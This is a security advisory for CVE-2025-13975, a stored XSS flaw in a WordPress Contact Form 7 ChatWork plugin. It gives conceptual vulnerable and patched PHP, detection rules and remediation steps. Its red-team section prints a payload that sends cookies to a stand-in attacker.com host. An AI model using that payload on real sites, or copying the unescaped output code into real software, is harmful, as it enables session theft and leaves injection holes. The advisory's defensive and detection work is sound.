CVE-2025-13975

Executive Summary

CVE-2025-13975 is a Stored Cross-Site Scripting (XSS) vulnerability in the Contact Form 7 with ChatWork plugin for WordPress, affecting all versions up to and including 1.1.0. The vulnerability resides in the plugin’s settings page, specifically within the api_token and roomid parameters. Due to insufficient input sanitization and output escaping, an authenticated attacker with administrator-level privileges can inject arbitrary web scripts. These scripts execute whenever a user accesses the affected settings page. The attack surface is limited to multi-site WordPress installations or environments where the unfiltered_html capability has been disabled for administrators. The CVSS score is 4.4 (Medium), reflecting the need for high privileges and user interaction. No public proof-of-concept or exploit code is currently available, and the patch status remains unknown.

WordPress Ecosystem Context

This vulnerability is specific to the Contact Form 7 with ChatWork plugin, a component of the WordPress ecosystem. The attack targets the plugin’s administrative interface, not the core WordPress application or server software like Apache or Nginx.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – Administrator-level access is needed.
• User Interaction (UI): Required – A user must access the settings page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. The requirement for admin privileges reduces the likelihood of widespread exploitation, but the potential for stored XSS in a multi-site environment could lead to privilege escalation or data theft.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the Contact Form 7 with ChatWork plugin. The plugin stores the api_token and roomid settings in the WordPress database without proper sanitization. When an administrator saves these values, they are not filtered for malicious HTML or JavaScript. Later, when the settings page is rendered, the stored values are output without escaping, allowing the injected script to execute in the context of the victim’s browser.

Attack Flow:

1. An attacker with admin access navigates to the plugin’s settings page.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into the api_token or roomid field.
3. The plugin saves the payload to the database.
4. When any user (including other admins) visits the settings page, the payload is rendered and executed.

Why Multi-Site Only? In single-site WordPress installations, administrators typically have the unfiltered_html capability, which allows them to post arbitrary HTML. The vulnerability only manifests when this capability is disabled (e.g., in multi-site networks where super admins control permissions).

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is inferred from the plugin’s behavior. The issue likely lies in the settings page rendering function.

Vulnerable Code (Conceptual):

// In the plugin's admin settings page
function render_settings_page() {
    $api_token = get_option('cf7cw_api_token');
    $roomid = get_option('cf7cw_roomid');
    echo '<input type="text" name="api_token" value="' . $api_token . '" />';
    echo '<input type="text" name="roomid" value="' . $roomid . '" />';
}

Patched Code (Conceptual):

function render_settings_page() {
    $api_token = esc_attr(get_option('cf7cw_api_token'));
    $roomid = esc_attr(get_option('cf7cw_roomid'));
    echo '<input type="text" name="api_token" value="' . $api_token . '" />';
    echo '<input type="text" name="roomid" value="' . $roomid . '" />';
}

The fix uses esc_attr() to escape the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a WordPress multi-site installation with admin credentials.
• The unfiltered_html capability disabled for the target admin role.

Steps:

1. Log in as an administrator.
2. Navigate to the Contact Form 7 with ChatWork settings page (typically under Settings > ChatWork).
3. In the api_token field, inject a payload such as:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. When another admin visits the same page, the script executes, exfiltrating cookies.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual changes to the cf7cw_api_token and cf7cw_roomid options in the database.
• Look for HTTP requests to the settings page containing suspicious characters (e.g., <script>, onerror).

Prevention:

• Apply input validation and output escaping (use esc_attr() and sanitize_text_field()).
• Restrict admin access to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/contact-form-7-with-chatwork/ (presence of the plugin)
• Database Option: cf7cw_api_token or cf7cw_roomid containing HTML/JavaScript
• Network: Outbound requests to attacker-controlled domains from the WordPress admin panel
• Logs: WordPress audit logs showing changes to plugin settings by admin users

Detection Engineering

YARA Rule

rule detect_cve_2025_13975_xss_payload {
    meta:
        description = "Detects stored XSS payloads in Contact Form 7 with ChatWork settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13975"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Contact Form 7 with ChatWork Settings
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS payloads in the plugin's settings
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Example: WordPress audit log event
        Object: "cf7cw_api_token" or "cf7cw_roomid"
        Details|contains: 
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-13975 - Stored XSS in Contact Form 7 with ChatWork"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options.php"; http_uri; content:"cf7cw_api_token"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict admin access to only trusted users.
3. Enable unfiltered_html for administrators (if not in a multi-site environment) – note this may introduce other risks.

Long-term Fix:

• The vendor should release a patched version (e.g., 1.1.1) that sanitizes input and escapes output.
• Apply the conceptual patch: use esc_attr() and sanitize_text_field() on the api_token and roomid fields.

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Implement a Content Security Policy (CSP) to mitigate script execution.

Valters IT